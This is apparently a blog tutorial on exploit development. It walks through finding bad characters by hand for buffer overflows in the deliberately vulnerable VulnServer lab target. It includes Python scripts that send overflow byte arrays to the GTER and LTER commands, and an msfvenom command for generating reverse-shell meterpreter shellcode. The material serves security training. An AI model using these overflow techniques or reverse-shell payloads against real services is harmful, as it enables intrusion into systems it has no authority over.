Without using plugin modules like Mona, setting up a PyDBG script, or using other automated tools, this blog post will provide some examples of manually identified bad characters and the process behind it. This blog post assumes basic knowledge of exploit development as covered in my previous posts.

Intro

First and foremost, \x00 is universally a 'bad character'. This is a null-byte, which will terminate the rest of the application code. These should never be sent in an exploit as part of the shellcode payload. However, there are potentially other bad characters that may 'exist' within a target application, which if used in an exploit can mangle the intended shellcode instructions and cause an exploit to fail.

There are no definitive 'bad characters', but there are often common characters that are seen. These can be the Form Feed \xFF, Line Feed \x0A, and Carriage Return \x0D instructions. Often, these can be considered to be bad characters on web services.

Sending a Bad Character Array

As we're doing this manually, I'll use the following byte-array in a python script (automatically excluding \x00).

badChars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

I'll be testing this with the GTER command within VulnServer, which I've already noted a buffer overflow offset of 149. However, for this particular VulnServer command the buffer is limited. Instead, I'll send the byte array in two halves, starting at the beginning of the buffer (after the input command) where we would normally place the A characters.

#!/usr/bin/env python
import socket

target = "192.168.111.3"
port = 9999
prefix = "GTER ./"

badChars1 = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
)

badChars2 = (
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

#buffer = "A" * 149 # Original offset
buffer = badChars1 # Sending first half of byte array
buffer += "B" * (180 - len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,port))
x = s.recv(1024)
s.send(prefix + buffer)
s.close()

Reviewing the Payload in the Debugger

Sending this payload causes a crash in the debugger. We can see EIP and EBP overwritten with 42424242.

Following ESP in the dump shows the B characters in our stack. However, scrolling up will reveal the first half of the byte array characters that were sent.

None of  these appear mangled, which demonstrates that there are no bad characters between \x01 and 0\x7F. Following the same process with the second half of the bad character array also shows the same result.

This means that we can continue with exploit development, including payload generation, whilst only excluding the \x00 character.

An example of Other Bad Characters

To demonstrate how bad characters would present themselves in the debugger I've used another example VulnServer command LTER that has a larger amount of bad characters that would need to be excluded from payloads. For this, I'll be sending the full byte array as there is sufficient buffer space.

#!/usr/bin/env python
import socket

target = "192.168.111.3"
port = 9999
prefix = "LTER ./"

badChars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

#buffer = "A" * 2005 # Not sent as we are sending badChars in its place
buffer = badChars  
buffer += "B" * (3000 - len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,port))
x = s.recv(1024)
s.send(prefix + buffer)
s.close()

What we notice after following the ESP dump after the program crashes is that every character from \x01 to \x07F is unaffected.

However, the characters appear to be repeated again.

Without reverse engineering the VulnServer program (or just looking at its code) it appears as though the \x80 characters onwards are processed by subtracting \x7F from them. For example, \x80 - \x7F = \x01 or \xFF - \x7F = \x80.

Generating Msfvenom Shellcode Without Bad Characters

Using Msfvenom to generate sanitised shellcode is simple. A string of opcode-format bad characters can be used in the -b argument as long as they're separated by a comma.

For example: msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -b '\x00,\x80,\x81,\x82...'

However, there are also other encoding schemes available, such as the alphanumeric encoder -e x86/alpha_mixed that would work in the latter instance.

Gaining Simple Help with WoollyMammoth

To speed things along in certain basic circumstances I've built a simple feature into WoollyMammoth that can be used to send three different character sets to a network service. Using the example of the TRUN command below I've specified the Mixed Alpha set using the -a argument.

Specifying a buffer size is required (doesn't have to be exact) using -b or --buffer, which will prepend the bad characters to the start of the payload. However, if you specify an offset via -o or --offset, then the bad characters will be positioned after the offset amount (which is filled in via A characters).